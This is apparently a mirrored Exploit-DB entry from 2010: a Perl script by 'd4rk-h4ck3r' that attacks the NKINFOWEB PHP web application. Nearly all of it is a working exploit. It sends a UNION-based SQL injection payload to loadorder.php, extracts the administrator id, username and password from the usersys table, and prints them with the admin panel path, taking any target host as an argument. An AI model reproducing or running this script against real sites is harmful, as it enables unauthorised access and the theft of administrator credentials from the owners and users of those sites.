NKINFOWEB – SQL Injection - 体验盒子

作者： d4rk-h4ck3r

日期： 2010-04-23

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12354/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

# Software Link: http://jaist.dl.sourceforge.net/project/nkinfoweb/FunctionNkinfoweb_v.species.rar

# Tested on: several linux versions

#=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

#!/usr/bin/perl

use strict;

use LWP::Simple;

print "\n";

print "##############################################################\n";

print "# NKINFOWEB SQL INJECTION EXPLOIT#\n";

print "# Author: d4rk-h4ck3r(Tunisian Security Team)#\n";

print "# Greetz to Passeword & Maxilog & all vbspiders members#\n";

print "##############################################################\n";

my $domain = shift @ARGV or banner();

my $injsql ="/loadorder.php?id_sp=-17+union+select+1,2,3,concat(0x3a3a3a,id_usersys,0x3a,usersys,0x3a,pwdsys,0x3a3a3a),5,6,7,8,9,10,11+from+usersys--";

if(get($domain.$injsql) =~ /:::(.+):(.+):(.+):::/)

{

print "\n[+] Exploit Succesfull!";

print "\n[+] Admin id: : $1";

print "\n[+] Admin username: $2";

print "\n[+] Admin password: $3";

print "\n[+] Admin panel: $domain/administrator/ ";}

else

{

print "[!] Exploit Failed!\n";

print "[!] Site Not Vulnerable!\n";

}

sub banner

{

print "[+] NKINFOWEB <= Remote SQL Injection Exploit\n";

print "[+] Usage: ${0} http://[host]\n";

return exit;

}